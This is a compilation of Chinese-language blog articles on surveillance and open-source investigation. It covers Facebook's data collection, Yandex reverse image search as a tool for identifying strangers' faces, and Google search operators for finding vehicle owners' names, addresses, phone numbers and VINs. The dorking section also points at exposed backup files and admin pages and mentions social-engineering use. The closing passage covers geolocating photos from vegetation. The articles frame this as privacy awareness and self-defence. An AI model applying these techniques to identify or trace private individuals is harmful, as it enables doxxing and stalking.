Facebook 在 2018 年前三个月的月活跃用户数量已经达到22亿，第一季度收入达到 119.6 亿美元。扎克伯格的愿景正在变为现实，地球上的大多数人通过一个应用程序（社交网络 APP）相互连接。公平地说，这个社交网络真的连接起了数十亿人的生活，更同时剥夺了数十亿人的隐私权。我们每个人都是这一过程的见证人。

更重要的是，Facebook 平台本身远非公开透明。在这个复杂的算法机器的无形墙内发生的事几乎无人知晓，掌控数十亿人生活的是一种神秘的黑匣子。

我们应该对这些记录、分析、利用我们的互动、最深入的个人交流、我们的行为和私密活动的黑匣子感兴趣的原因必需有很多。在那些看不见的高墙内，每时每刻都是算法在决定哪些信息会出现在我们的信息圈中、有多少朋友和哪些朋友会看到你的帖子，什么样的内容将成为你现实的一部分，什么会被审查或删除。是这个黑匣子在定义全球几十亿人的认知。这就是我们在《定制人将终结民主》一文中所强调的灾难—— 当公民没有自由的认知时，唯有操纵者能赢得最终胜利和最大的霸权。

另一方面，这个黑匣子为这个看不见的非物质工厂的所有者定义了新

形式的劳动力，新型剥削和巨额财富以及巨大权力的产生，这些工厂创造了新的和深刻的经济差距，形成了新的阶层。

在算法机器深层的某个地方，存在隐藏的新形式的侵犯人权行为，新的剥削、和大规模操纵机制，每天影响数十亿人。

老大哥经济和与非物质劳动相遇的地方

在创造一种商品时，人们在劳动主体上运作，运用劳动工具，创造一种产品。生产资料对象包括两大类：劳动工具（刀具，工厂，基础设施，等等）和劳动对象（自然资源和原材料）。例如，在农业社会中，生产资料是土壤和铲子。在工业社会中，它们是矿山和工厂，在知识经济中是办公室和计算机。

现在我们所有人都在上图的最下面：算法社会。算法在决定我们这些人类的基本认知、算法在决定我们能找到什么样的男女朋友、算法在决定我们可以获得什么样的“民主”、算法告诉当权者我们中哪个人会“在将来某个时刻犯罪”，我们会因此提起被捕。

- 关联：《政治的未来：当机器决定“民主”？》

如果我们试图在这个背景下了解 Facebook 工厂的生产过程和产品创造，我们得出的结论是，这里有一个重要的区别：劳动过程中的主要原材料（数据、内容和元数据）才是劳动对象，它们是由人类—用户—你我—创造的，但劳动本身是由算法执行的。

（在早期的 2000S TIZIANA TERRANOVA 规定用户的免费劳动是数字经济中经济价值的来源。用户的数字劳动也可以被描述为工作中没有被特意查看的影响和社会活动，例如在社交媒体网站上更新您的个人资料、撰写评论或在照片上标记人物等等）

因此，基本上根据我们在 Facebook 等这类社交媒体上做的事可以被描述为某种形式的免费数字劳动力。根据 Trebor Scholz 和 Laura Y. Liu 的说法，“数字劳动的工具确实无处不在; 它们是快速变化的和隐形的。甚至我们的地理位置、投入和跟踪的流动性都不会被视为劳动力，而是成为可以直接转化成经济价值的资产。“ 是 Facebook 的经济价值。

超过10亿 Facebook 用户中的每一个，都是数字工作者，如果平均每天工作 20 多分钟，点赞、评论和滚动状态更新。那就是每天超过 300,000,000 个工作小时的免费数字劳动力。

看看你我被 Facebook 剥削了多少？等下，你真的只工作了 20 分钟吗？我能想象得到你没事就去打开它、滑动它，浏览和互动……

我们早就应该清楚的是，Facebook 工厂的主要产品并不是数十亿的文本、更新、上传的照片或视频。正如我们将在下面的调查中探索的那样，它们只是算法社交网络分析、分类和算法分析的资源。

从人类中心的角度来看，我们希望将自己和我们的劳动放在主要焦点上，但是在这种情况下，劳动的主要形式是由算法完成的。这个非物质工厂的产品有超过十亿种不同的用户配置文件，被分类并准备出售。该系统的细节是，被用作原材料的用户—你我—不断地对自己进行微调，为该系统提供越来越多的关于你我的私密信息。

在 **Facebook** 算法工厂里

「图」

在第一部分调查中，我们将尝试阐明你我的行为、动作和信息如何通过被收集、存储、分析并最终转化为产品，帮助 Facebook 赚钱。当然，同样的状况也在帮助：腾讯、新浪、谷歌、亚马逊、阿里巴巴 ……赚钱。

我们绘制这个不可见系统的方法是找到所有输入和输出，然后尝试描述在两者之间执行的操作类型。

这里的方法包括在可公开访问的资源上使用不同的调查工具，也就是开源调查。本研究的三个主要部分涉及 Facebook 数据收集、存储和分析以及应用于用户的定位类型：

——以下是调查工具和资源——

1、数据收集

- Facebook 数据政策分析：https://www.facebook.com/full_data_use_policy
- 绘制 Facebook 平台上的所有输入：

https://www.facebook.com/

- 第三方网站上的 Cookie 和像素追踪技术分析： https://www.facebook.com/help/cookies/update

- Facebook 的所有政策分析：https://www.facebook.com/help/111814505650678
- 研究 Facebook 供应商、服务提供商和其他合作伙伴：

https://facebookmarketingpartners.com/

- Facebook Ireland Ltd 审计报告（2011）：http://www.europe-v-facebook.org/Facebook_Ireland_Audit_Report_Final.pdf

2、存储和数据分析

- Facebook 专利数据库研究：https://www.google.rs/search?tbm=pts&hl=en&q=inassignee%3A%22Facebook%2C+Inc.%22+
- Facebook API：https://developers.facebook.com/docs/graph-api/reference/

3.定位

- Facebook 广告制作流程：https://www.facebook.com/ads/manager/creation/

数据收集：从生命体中提取数据

「图」

数据收集，从人类领域的生命体中提取数据是必不可少的操作，是 Facebook 帝国的基础之一。电影”黑客帝国”里面的场景

根据调查，Facebook 在利用不同的方式从我们在 Facebook 内外的行为和活动中提取数据，我们可以在以下分头研究它们：

A.Within Facebook

你的每一个行为、你上传的每张照片、你参加的每一个活动，都会被 Facebook 记录并存储在他们的数据库中。我们可以将 Facebook 收集的两大类信息分开。首先是所有交互，创建或上传的内容，访问的页面以及您在 Facebook 上所做的一切—活动和行为。（在这里看大图）

我们可以将第二组视为你我自愿提供的内容—— 您在个人资料信息

部分中提供的有关您自己的所有信息。（在这里看大图）

这两组信息之间存在显著的差异。配置文件信息基本上是静态信息，很少更新，取决于您（可以自由）给出的直接输入；而另一方面，活动和行为输入是动态的，代表您点赞、分享、创建和实时交互。个人资料信息通常包含误导性或错误信息，但中国的实名制就不同了，甚至微信公众号那种东西要求您“手持身份证拍照”，居然还有人注册它，甚至是很多人注册它……

B. Digital Footprint

从您的设备中收集的数字足迹是 Facebook 拥有的第二大信息资源。在这种情况下，我们还需要区分两个主要类别：可以从您的移动设备收集的信息、以及可以从您用于访问 Facebook 的笔记本电脑或台式计算机上收集的数字足迹。

与可从移动设备收集的信息相比，可从台式计算机上收集的信息并不多样化。但是，它们仍然可以透露很多关于你的信息。其中一些信息包括您的 IP 地址、操作系统、浏览器类型和其他可用作唯一标识符的信息，并结合通过 cookie 和像素追踪技术收集的信息，揭示了每个人不同的行为模式。

Cookies

Facebook 并没有仅仅限于在 Facebook 内部收集信息，它数以千计的隐形数据收集触角几乎达到了万维网的一半。我们对在线跟踪器的研究显示，在我们使用的欧洲排名前 50 位的网站中，有 46% 的网站都嵌入了 Facebook Cookie ：（在这里看下面的大图）

“使用 *Facebook* 的服务，包括我们的网站和应用程序（无论您是否已注册或登录）或只是访问使用 *Facebook* 服务的其他网站和应用程序（包括 *Like* 按钮或我们的广告工具），我们都收集 *cookies*。“—— *Facebook Cookies* 政策 （在这里看下面大图）

根据对欧洲访问量排名前五十的网站进行的研究，我们检查的每个网站平均嵌入了7种不同的第三方 cookie。总共， 在365 次检测中查到 174 种不同类型的 Cookie。这 **174** 个独特的 **cookie** 属于 **87** 个不同的公司。美国 **4** 大公司占据主导地位：**!**谷歌（**90%**），**Facebook**（**46%**），推特（**24%**）和亚马逊（**10%**）以及 **Infomediaries Gemius SA**（**36%**），**Httpool**（**7%**）

每当你我访问其中一些网站时，Facebook 都会收到有关我们访问的信息，这些信息将成为分析过程中不可或缺的一部分，这是一个永无止境的过程，可以创建一个关于您是谁，您喜欢什么、以及您的行为特征是什么的清晰全景图。

手机权限

「图」

Facebook 能够获得有关您的在线行为的信息，这只是信息的一小部分，与他们从智能移动设备获得的信息相比。

我们以前介绍过一些防御办法，见《您真的理解应用权限都授予了什么吗？》其中一些权限允许 Facebook 提取可能非常侵入性的不同形式的信息，例如设备标识符、设备的精确位置、联系人的身份、SMS 消息的内容、您的通话记录、录制音频、获取有关您的 WiFi 连接的信息、没有通知的下载文件等等。（在这里看大图）

其他 **Facebook** 公司

除了主要公司，Facebook 还拥有和经营至少其他7家公司：Facebook Payments Inc.，Atlas，Instagram LLC，Onavo，Parse，Moves，Oculus，LiveRail，WhatsApp Inc.和 Masquerade。

据他们自己说的，他们可以在他们的公司家族中分享有关您的隐私信息，声称“改善服务”。其中一些“公司家族”成员也是数据收集巨头。仅 WhatsApp 就有超过10亿全球月活跃用户数量（截至2016年2月）。2016 年6月，另一位 Facebook 家庭成员 Instagram 的月活跃用户达到5亿。

这些应用程序、特别是 WhatsApp，正在收集有关用户行为和活动的更多信息。简要介绍一下WhatsApp 隐私政策或移动电话权限列表，揭示了一个类似于我们对 Facebook 本身正在调查的数据收集操作。这就是为什么我们强烈建议您不要使用它。

具体到这些公司提供的服务，数据收集已经扩展到新的领域。在 Oculus Rift 的情况下，根据他们的隐私政策，当您使用虚拟现实耳机时，他们可以收集并向 Facebook 提供有关您的身体动作的信息。Facebook Payments Inc. 是一家在 Facebook 上提供支付服务的公司，同时收集不同的信息集，主要与您的交易、信用卡号码等有关。（在这里看下面大图）

Facebook 可以通过 Facebook 以外的公司收集的所有数据类型的详细调查将需要进行扩展分析，遗憾的是本文只能做其中一部分。

Facebook 的合作伙伴

根据 FB 隐私政策，他们会从第三方合作伙伴那里收到有关您和您在 Facebook 内外活动的信息。2013 年 4 月，Facebook 推出了“合作伙伴类别”，并整合了数据经纪人 Acxiom（企业数据和分析），Datalogix（数字媒体和离线采购数据服务）以及 Epsilon（直接面向消费者营销）的离线和第三方数据。Axciom Corporation 服务器每年处理超过 50 万亿次数据“交易”。该公司高管表示，其数据库包含全球约5亿活跃消费者的信息，每人约有1,500个数据点。

这些公司通过商店会员卡、邮件列表、公共记录信息（包括家庭或汽车所有权）、浏览器 cookie 等信息收集有关您的数据。因此，如果您在 Safeway 购买，并使用您的 Safeway 忠诚卡，其他 Facebook 合作伙伴公司 Datalogix 就收集并保存这些信息。2014 年12月，Oracle 公司以12亿美元的价格收购了 Datalogix。根据他们的声明，Datalogix 汇总并提供了超过2万亿美元的消费者支出，并拥有超过 650 家客户，包括美国顶级广告商和数字媒体出版商。

据他们介绍，通过 Datalogix，Oracle 数据云将根据人们的工作、人们所说的内容、以及人们所购买的产品，为消费者提供对数字和传统渠道的最丰富的了解，使领先的品牌能够个性化和衡量每个客户的互动。

- 关联：《Facebook 用欺骗的方法拼命扩大其生物识别数据收集，目的是在现实世界中控制你》

除了市场上最大的数据收集者和经销商，Facebook 还通过他们的 Facebook 合作伙伴计划与数百家其他数据交易商、广告技术开发商、数据和营销分析公司交换数据。

另一组可以访问 Facebook 数据的组织是供应商、服务提供商和其他所谓的合作伙伴，他们提供技术基础设施服务，分析我们所有人使用 Facebook 服务的方式，Facebook 声称这些合作伙伴必须遵守“严格的保密义务”。

但是 Facebook 自己呢？至少在剑桥分析公司事件被曝光后你应该知道，他们如何通过操纵你我来操纵民主。这个黑匣子里面究竟都有什么，真的需要等着一个个剑桥分析公司被曝光吗？

现在该公司和谷歌、亚马逊等老大哥一样，想要把监视器塞进你的卧室。Facebook 正推出由人工智能驱动的新型视频通话设备，想要更为深入地侵犯你的私生活。上周推特正在刷屏抵制该产品。■

预告，下一篇：《Facebook 算法工厂 (2): 人类数据库和算法劳工》

——未完待续——

更多详见分类目录“关于Facebook”

原文

面向大众的 “面部识别” 技术：Yandex - iyouport

开源情报-每个人都可用的武器生物识别-眼下最严重的威胁，以及怎么办让它民主-公民掌握真相的技巧和技术

【 2020年7月8日存档】是技术民主化，但也是安全自卫提醒！

这不是玩笑。您应该记得 Yandex，它多次出现在我们的开源情报调查的演示中，是作为 *反向图像搜索* 的优质工具，在下面看到同类技术对比：

- 《搜图功能哪家强？图像验证方法的能力对比》

☞ 但您的确可以将其作为针对在网上标记了照片的任何人的一个很好的面部识别系统。

这大概是第一个具有大型数据库的、且普遍可访问的面部识别系统。当然，Yandex 并不是为此目的而设计的。

技巧是，将照片的脸部剪裁下来上传到该平台，或多或少就可以找到相似的脸部。

这篇文章的灵感来自 Bellingcat 最近在图片搜索中发表的文章，该文章特别强调了 Yandex 的面部识别功能。

另外可参阅 ClearView 的文章，ClearView 是刮取 Facebook 等社交媒体平台的照片以进行面部识别的公司。还有一个视频，如下：

nelsonslog 做了一个尝试。《Facial recognition for the public: Yandex》

自拍照示范

「图」

他使用了自己的自拍照。在发布该测试之前，这张照片从未在网络上出现过，也就是说，在进行这些搜索时它不会出现在任何数据库中。

这是一张脸部清晰的照片，可以使结果更好，但也适用于效果较差的照片。

现在假装您不知道此人的名字。将图像放入 Yandex。这是您得到的结果：

☞前两个图像就是目标人本人。单击其中任何一个，然后查看器网页，上面都带有 nelsonslog 的名字。您马上就能知道这是谁了。

这好像并不完美；搜索结果中没有直接提供目标人的名字，您必须点击链接的页面才能找到它。而且，追踪者仍然必须仔细筛选那些很相近的面孔。

但这个效果已经很好了。唯一的限制是 Yandex 的数据库。那的确是“整个网络”，但是它们的索引依旧没有 Google 全面。

用美国企业家 Andrew Yang 做下示范

「图」

认识自己很容易。那么陌生人呢？来试一下，同样的方法识别 CNBC 新闻中这张图片里的 “Yang” 是谁。

理论上此人应该是2020总统候选人 Andrew Yang？但事实并非如此。

剪裁照片中 Yang 的脸部，放在 Yandex 中就可以了。你会得到这样的结果：

☞前五个图像看上去都非常像目标人。Yandex 结果页面上的第一个结果也直接指向了他的主页：Geoff Yang。CNBC 的实习记者可能会遇到麻烦咯。

面部识别与图像搜索

「图」

这里的新事物是：Yandex 不仅可以用作开源情报调查中常规的反向

图像搜索工具，还可以用来实施面部匹配。

它找到的所有图像看起来都不像原始图像。不同的宽高比、不同的背景、不同的细节 …… 但是，脸部是匹配的。

⚠它甚至通过本案例测试者的自拍照找到了其本人年轻时没留胡子的版本！还找到了目标人手捧盒子遮住部分脸部的版本！简直太疯狂了。

那么其他反向图像搜索平台在面部识别角度上的效果如何呢？就如我们👆关联文章中所做的效果比较。

在面部识别用例上，继续测试了 Google、百度、Bing、和 TinEye。其中 TinEye 返回了0个结果。

谷歌的结果：

百度的结果：

Bing 的结果：

看看图像中那些同样有着短头发的白人，全部都不是目标人。

这些算法推测还算是不错的，就是说，给了它们一个头像，然后它们发现了类似的头像：短发、男性、白人。但是，都不是目标人。

👉只有 Yandex 找到了目标人的脸。（可以说，TinEye 的0个结果是该查询的正确答案；因为这张图片并不在网上）

为什么这很重要

「图」

面部识别算法在日常隐私方面正处于重大变革的风口浪尖。AI 现在已经足够好，可以进行基本准确的面部识别。现代软件可以拍摄一张只有半边脸的模糊照片，依旧可以成功将其与同一个人的其他脸部照片相匹配。

- 《遮住一半脸没有用：“面部识别”升级版诞生》

这是一个相当可怕的未来，尤其是像新疆这样的专制政府已经建立的未来，但这可能是难以阻挡的。

重要的是，目前普通百姓仍然无法使用陌生人的照片并找到他或她的名字。也就是说，技术不是民主的 —— 它只掌握在当权者手里。也是为什么我们开始思考让技术民主化的可能性，如下：（既然难以阻止其发展）

- 《人脸识别可以自制，你知道吗？而且非常简单》
- 《如何使面部识别技术为公民所用？- 开源情报方法》

但是，即便您在技术方面毫无基础，Yandex 也有可能帮你做到这点。

Yandex 已有很长的历史了，是世界上为数不多的可与谷歌竞争的公司之一。他们的索引严重偏向东欧数据，但是，实验显示，他们有足够的全球数据来找到美国人 nelsonslog 和台湾裔 Andrew Yang。

如果您使用 Google 相册或 Facebook，则很有可能已经领教了他们的面部识别能力。匹配效果足够惊人，而且杂音不多。

Facebook 似乎只会为您显示与您有某种 Facebook 关系的人的名字。Google相簿也类似地提供随机名字。他们可以做得更多；例如，Facebook 可以将脸部与任何 Facebook 用户匹配。

但是，这两种服务都不能作为识别陌生人的通用面部识别服务。

至少有一个可以做到同样事的公共服务：FindClone（它以前被称为 FindFace 和 SearchFace）。但是，仅限于来自俄罗斯 VKontakte 的照片。这的确是一个很大的数据集。但这并不像 Yandex 搜索引擎那样国际化。

预计在几年之内，这种 “按照面孔查找名字” 的使用功能将和 “用电话号码查找名字” 一样的普遍。

⚠ 所以，再次强调！除非您是明星，靠脸吃饭的那种，否则尽可能不要以任何方式将您的脸部照片/视频放到网上！包括您认识的所有人发布的包括您的照片！这非常重要。

如果您上传自己的脸部在 Yandex 搜到了您本人的任何信息，迅速删除它们所有。〇

《Facial recognition for the public: Yandex》

原文

高级运算符辅助开源调查：巧用搜索引擎挖掘情报 #OSINT - iYouPort

开源情报-每个人都可用的武器让它民主-公民掌握真相的技巧和技术

Google 涵盖的数据量之大往往超乎你的想象，随着这个世界的数字化程度越来越高，对于开源调查来说已经是一种极其强大的工具。如果你还找不到自己想要的信息，很可能只是你没有用*对*搜索引擎。

「图」

高级运算符是 Google 黑客军械库中真正的武器。今天我们来简单演示一下它在开源调查中的作用。以及大多数可用的运算符的使用方法。

仅在几年前，为了搜索诸如 VIN（车辆识别号码）或所有者详细信息之类的车辆信息，还需要你有权访问高级数据库。而如今，我们正在慢慢开始看到这种类型的数据泄露到免费的公共资源中。

比如一个这样的工具，汽车所有者（carsowners.net）。该网站没有太多的搜索功能。相反，您必须用类型、年份、最终的个人详细信息来导航。所以你不如考虑自定义 Google 搜索。

比如你想要寻找“John Smith”拥有的任何车辆，就在 Google 中输入以下内容：

site：carsowners.net“john smith”

这能产生了许多结果。如果你知道目标人的车子是马自达，那么就可以进行以下搜索：

site：carsowners.net“john smith”“mazda”“tx”

这就能将你引导至 https://carsowners.net/mazda/mazda3/2007/tx/page8 的直接 URL 了 。在此页面上，以下是应该期望的详细信息类型的示例：

「图」

你还可以搜索个人详细信息，例如电话号码，地址或 VIN。以下搜索示例非常有效：

site：carsowners.net“（618）463–4164”

site：carsowners.net“4900 Ridgewood Ln”

site：carsowners.net“1G4GE5GD0BF256768”

试试看，很棒吧。不论你想要找的是什么，以此类推就行啦。

服务器的地址（或域名）作为 URL 的一部分，最好使用 site 运算符对其进行搜索。**site** 允许你搜索仅仅位于一个特定服务器上的或在一个特定域名里面的页面。

尽管看起来非常简明易懂，但还是要花点时间来习惯于如何恰当地使用 site 运算符，因为Google 是从右往左读取 Web 服务器的名字，和大多数人类的习惯相反。考虑一个普通的 Web 服务器名字，www.blackhat.com，为了找到位于 blackhat.com 上的页面，一个简单的查询 site:blackhat.com 就够了。

「图」

看到没，前几个结果都来自于 www.blackhat.com。服务器都是以 blackhat.com 结尾的，都是你要查询的有效结果。很棒吧。

就像很多 Google 的高级运算符一样，site 也能够以有趣的方式被使用。举个例子比如，查询 site:r，得到以下结果：

「图」

仔细地看一下查询结果，你会发现第一个返回结果的 URL 看起来有点怪异。事实上就是怪异的。Google（也可以说整个因特网）都是从右往左读取服务器名字的，而非从左往右。所以 Google 对 site:r 的查询永远不可能返回有效结果，因为没有 .r 这样的域名。那么为什么 Google 返回结果呢？不好说，但有一件事是确定的：这些古怪的搜索和它们相关联的响应能让高级搜索引擎用户感兴趣，也点燃了他们进一步探索的激情。

site 运算符还能很容易与其他运算符结合使用，比如 daterange。

daterange

daterange 这个运算符能找到在特定日期范围内被 **Google** 索引过的页面，能让你更精准地挖到信息。Google 每次抓取一个网页，这个日期就会改变。如果 Google 找到了某个很冷门的页面，它可能只抓取了该页面一次，而没有对它进行再次索引。如果你发现搜索中被塞满了这种冷门页面，那么你就可以通过有效地使用 daterange 运算符把没用的东西从搜索中移除（然后得到刷新的结果）。

这个运算符的参数必需总是被表达成一个范围，即 被连字符分隔的两个日期。如果你只想找到在某个特定日期被索引过的网页，你必须提供两次相同的日期，由连字符分隔。如果你觉得这似乎简单到不真实的程度了，那就对了。它就是简单得像骗人一样。

两个传递给这个运算符的日期都必须符合 Julian dates 格式。Julian dates 就是自公元前 4713 年 1 月 1 日起经过的天数。比如日期 2001 年9月11日，表示成 Julian 格式就是 2452164。所以，如果要搜索被 Google 在 2001 年9月11日索引过的并包含 Osama Bin Laden 的网页，那么这个查询就应该是这样： daterang:2452164–2452164 “osama bin laden”。

Google 官方没有正式支持 daterange 运算符，正因此你可能觉得有点不便。Google 似乎更喜欢高级搜索表格中使用的日期限制，其位于 https://www.google.com/advanced_search 。这个表格通过创建 URL 字符串中的域值来执行特别的功能。Google 设计了 as_qdr 域来帮助你找到在某个时间框架内已经被更新过的网页。比如找到在过去三个月内已经被更新同时包含单词 Google 的网页，那么使用查询 https://www.google.com/search?q＝google&as_qdr＝m3 。

datesrange 看起来笨拙，相比下这样可能是个限制日期的好办法。只需将其理解为不同的功能就好啦。daterange 不是等同于 as_qdr 的高级运算符，根本就没有相同的运算符这种事。如果你想要找到过去一年或更短的时间内被更新过的网页，你必须要么使用 Google 高级搜索页面或者把 &as_qdr＝/y（或类似的）粘贴在你的 URL 最后。

注意，daterange 运算符必须和其他搜索项或高级运算符一起使用，如果单独使用它不会返回任何结果。

filetype

filetype 运算符可以用来搜索特定类型的文件。在调查中也是很好用

的。

Google 可以搜索很多不同类型的文件，这就是 filetype 派上用场的时候。更确切地说，filetype 搜索以一个特别的文件扩展名结尾的页面。文件扩展名是 URL 的一部分，它跟在文件名最后一个休止符之后，在参数列表的起始问号之前。因为文件扩展名能够显示用哪种类型的软件来打开一个文件，通过搜索一个特别的文件扩展名，filetype 运算符就能够用来搜索特定类型的文件。

Google 会把它搜索到的每一个文档转换成 HTML 格式或者可以在线看的文本文件。例如这样 filetype:doc pirate。第一个搜索结果在文档标题前列出了[DOS]，表示该文件为微软 word 格式。这就表示 Google 识别出了这个文件就是一个微软 word 文档。另外 Google 也提供了 HTML 链接，点击后将会显示该文件的 HTML 网页快照。

「图」

当你点击一个已经被 Google 转换的文档链接时，在页面顶部会出现一个页眉，就像上面这样，表明你正在浏览该页面的 HTML 版本。当然也提供了原始文件的链接。如果你觉得这看起来很像网页快照，那就对了。这是原始文件的缓存版本被转换成了 HTML。

尽管上述看起来很棒，但 Google 也是不完美的，记住：

- Google 并非总是为一个页面转换后的版本提供链接；
- Google 并非总是能准确识别出哪怕是最普通文件格式的类型；
- 当 Google 抓取一个以特别文件扩展名结尾的页面但它又是个空白文件时，Google 有时会提供一个有效的文件类型和转换后页面的链接。即使一个空白 word 文档的 HTML 版本依然是空白的。

有很多高级运算符可以帮助你更精准地找到你想要的开源信息。其中 site，filetype 都是非常强大的，其他的也很有效，而且很容易记住，比如 stocks 运算符返回某个特定代码的股票信息，define 运算符返回一个单词或简单短语的定义。

下面简单总结一下，就看你需要什么啦。

intitle

在页面的标题里查找字符串

与其他运算符混合使用效果很好

最好在网页、网上论坛、图片和新闻搜索中使用

例：intitle:”index of””backup files”

allintitle

在一个页面的标题里查找所有搜索项

其他运算符或搜索项混合使用效果不好

最好在网页、网上论坛、图片和新闻搜索中使用

例：allintitle:”index of””backup files”（和上面那个返回不一样的结果）

inurl

在一个页面的 URL 里查找字符串

与其他运算符混合使用效果很好

最好在网页和图片搜索中使用

例：inurl:admin index

allinurl

在一个页面的 URL 里查找所有搜索项

其他运算符和搜索项混合使用效果不好

最好在网页、网上论坛和图片搜索中使用

例：allinurl:admin index

filetype

基于文件扩展名搜索特殊文件类型

与 ext 同义

需要一个额外的搜索项

其他运算符或搜索项混合使用效果不好

最好在网页和网上论坛搜索中使用

（这个例子上面有）

site

把一个搜索限定在一个特别的网站或域中

与其他运算符混合使用效果好

能够单独使用

最好在网页、网上论坛和图片搜索中使用

（这个例子上面有）

link

搜索一个网站的链接或者 URL

无法和其他运算符或搜索项混合使用

最好在网页搜索中使用

例：link:www.defcon.org 或者 link:linux

inanchor

在链接的描述性文字中查找文本

其他运算符或搜索项混合使用效果好

最好在网页、图片和新闻搜索中使用

例：inanchor:click

daterange

寻找在一个特定日期范围内索引过的页面

需要一个搜索项

混合使用效果好

可能会让位于 as_qdr 而被淘汰

（这个例子上面有）

numrange

在特定范围内查找一个数字

混合使用效果好

与 ext 同义

例：numrange:12344–12346 (返回 12345)

cache

显示 Google 缓存的页面拷贝

无法与其他运算符或搜索项混合使用

最好在网页搜索中使用

例：cache:linux（与“cache:linux” 加引号返回的结果数量一致）

info

显示关于一个页面的总结信息

无法与其他运算符或搜索项混合使用

最好在网页搜索中使用

例：info:www.csc.com

related

显示与所有网站或 URL 相关的站点

无法与其他运算符或搜索项混合使用

最好在网页搜索中使用

例：related:linux（注意 其返回的结果与加引号的“related:linux”完全不一样）

stocks

为一个股票代码显示 Yahoo 财经的股票列表

无法与其他运算符或搜索项混合使用

最好在网页搜索中使用

就不用举例子了，参数必须是一个有效的股票缩写

define

显示单词或短语的不同含义

无法与其他运算符或搜索项混合使用

最好在网页搜索中使用

例：define:ironic

「图」

filext.com/ 这个网站能帮你找到与某个特定的扩展名相关联的程序。

你也许已经意识到了，本文不仅仅是为 "#OSINT" 开源调查提供的工具，它在社交工程攻击和防御中也非常好用，完全正确！社交工程攻击的基础就是信息收集，需要很多类似开源调查的收集和分析能力，所以它俩是“相关”的。

后面文章还有机会专门介绍用于社交工程学的信息收集方法及其好用的工具。下次见。■

感谢帮助 ***iYouPort***！

PayPal 捐赠渠道已开通 "//https://paypal.me/iyouport//"

原文

鸟和树木也能帮你追踪定位：任何细节都是线索 - iyouport

开源情报-每个人都可用的武器

【2020年9月22日存档】如果一张照片中没有任何地标，只有杂草、树木或鸟类，如何确定地理位置？

如今每个人都应该知道在互联网上任何地方发布照片之前应该遮住一些标志性和敏感的细节，比如脸部、路牌、地标、条形码 等等。

这些细节的确都可以追踪定位你。它们被成为参考点。但并非只有这些细节才能作为参考点。

侦探挑战游戏系列中曾经介绍过很多追踪定位的方法，几乎所有细节都能被用来作为参考点，不论是太阳阴影、井盖、驾驶座的位置、还是窗户上的花纹。

在这篇文章中，wondersmith_rae 介绍了一些将树木、鸟类和牲畜作为参考点的追踪定位方法，很有趣，值得学习 —— 不论是对于真伪验证的公民调查来说，还是对于自我保护来说，您应该知道即便只是一棵树，也能被用来追踪目标人，

当您需要核查一张照片或一个视频是否是发布者所声称的事发地点时，经验上往往会被建议要追溯到城市的天际线、地平线和街道名称等。然而 wondersmith_rae 的演示希望思考的是，在全国和全球范围内，利用自然线索来定位一个地点的可能性究竟有多大。

电视上荒野求生节目中的人们仅利用他们对植物和日光照射的知识就能在深山老林中进行导航，而不需要地图。那么调查人员如何将这些知识运用在追踪定位方面呢？

经过一些研究，她确定可以利用多种技术从图像中获取线索，这些线索可能会指出基于植物和动物的特定区域。Les Stroud (Survivorman) thinking about how he will outlive us all during the 2020 apocalypse

识别特定植物

「图」

想象一下，您收到了一张照片，您需要借助它来分析发生在一个茂密林区里的犯罪事件。这张照片中除了自然环境之外没有其他任何线索，那么应该从哪里开始呢？

确认照片中的植物来自哪里，可能是一个很好的起点。植物的生长环境如果足够具体的话，就可以帮助您确定拍摄照片的地区或国家。

比如识别水草，可以在这里试试 identify.plantnet.org。

Identify.plantnet.org 提供了许多有关草可能的知识。它还为每种草提供了多张照片，因此可以将它们与原始照片中的水草进行比较。

能够识别植物来自哪里只是第一步。许多植物会存在于其本土栖息地以外的其他地方，因此虽然这可能有助于缩小范围，但显然它不是确定的。

如果目标照片中的植物看起来像是人造景观（例如园丁种下的该植物）那么这个技巧就不是很有用了。

植物生长的习惯在这里也值得考虑。例如，大多数地衣类型是灰色或绿色，并且已知会在阴凉的地方生长，但是，铁锈色类地衣（Xanthoria Perientina 一种叶状或多叶的地衣）仅在朝南的表面上生长。

也就是说，如果您在照片中看到了一些特定的内容，则可能指明物理方向。Xanthoria Perientina Lichen

此外，如果您看到诸如 “灯心草” 之类的草丛出现，往往表明地面潮湿，附近可能有沼泽。在下面的照片中可以看到有一些比周围地区更湿润的草丛。Soft Rush indicating wet ground (The Natural Navigator)

分析树木和树线

「图」

自然学家可以分析太阳如何影响植物生长以及风向如何影响林带。调

查人员也可以尝试通过查看树木的类型来确定照片中的周边地形。

比如在美国特定的地理区域中可以注意到某些特定的树种。如下面的紫树（Tupelo）最常出现在南部地区和东海岸，在沼泽的积水中茁壮成长。

在加利福尼亚州的西海岸可以找到巨大的红杉。Tupelo

California Redwood

此外也许还可以通过树来确定周边环境。比如柳树和桤木属喜欢在河流附近生长，通常表明附近有水源。

在检查树种时，也可以确定原产国。

像澳洲猴面包树之类的树木可以将搜索范围缩小到澳大利亚、马达加斯加和非洲的特定地区。在北美，可以使用网站 “What Tree is That?” 来帮助识别不同的树种。

在研究中遇到的一件有趣的事是利用树木的风害作为方向指示。

像下面这样的落叶树是这种分析的最佳来源。因为风会根据盛行的特定风向持续吹，最终会推动树枝以相同的方向生长。如果能知道拍摄目标照片的大致区域，就可以将其与风向图进行比较，以帮助查明潜在的地点。

最后，树线可能会显示目标照片的海拔高度。

看下面这张照片，可以清楚地看到奇怪的树木分布，没人能完全解释这种现象，它被称为“树线”。树线显示的是由于土壤问题或空气减少而不再适合树木生长的区域。

于是树线可被用于大致确定照片中的海拔。

「图」

有关使用树线进行地理定位的棘手部分是，虽然这是一种全球现象，但海拔高度随区域而变化，如下图所示。但这对于验证很有用，我们需要大致了解起始位置。treeline position around the globe by latitude for continental (filled points) and oceanic island (open points) sites

关于在航空照片中大规模识别树木的研究也很有趣，这似乎主要是通过使用算法来完成的。Deer Hunting 网站有一些技巧，可以在这里使用 Google Earth。似乎猎人们正在使用 Google Earth 提前查寻狩猎场，并使用树木标记来寻找鹿可能出没的途径。

猎人可以使用 Google地球的历史记录选项，并在秋季或冬季查看该区域，从而确定一组树木是否为特定种类。橡树的叶子在秋冬季节里会保持更长的时间，因此它们会在照片上显示出来。在秋天，还可以使用颜色来确定树的类型。

通过确定该地区的农作物，可以缩小航拍或卫星照片中的位置范围。通常某些作物只在特定地区种植，可以利用田地的布局和其中存在的植物和动物来确定。http://www.radicalcartography.net/

在下面可以看到以特定方式并排种植的玉米、大豆、稻子和橄榄，这些种植 方式通常能在图像中很醒目。

结合周围的建筑物和不同的耕作模式，调查人员就可以借此来估算地理位置。

通过动物来判断地理位置

「图」

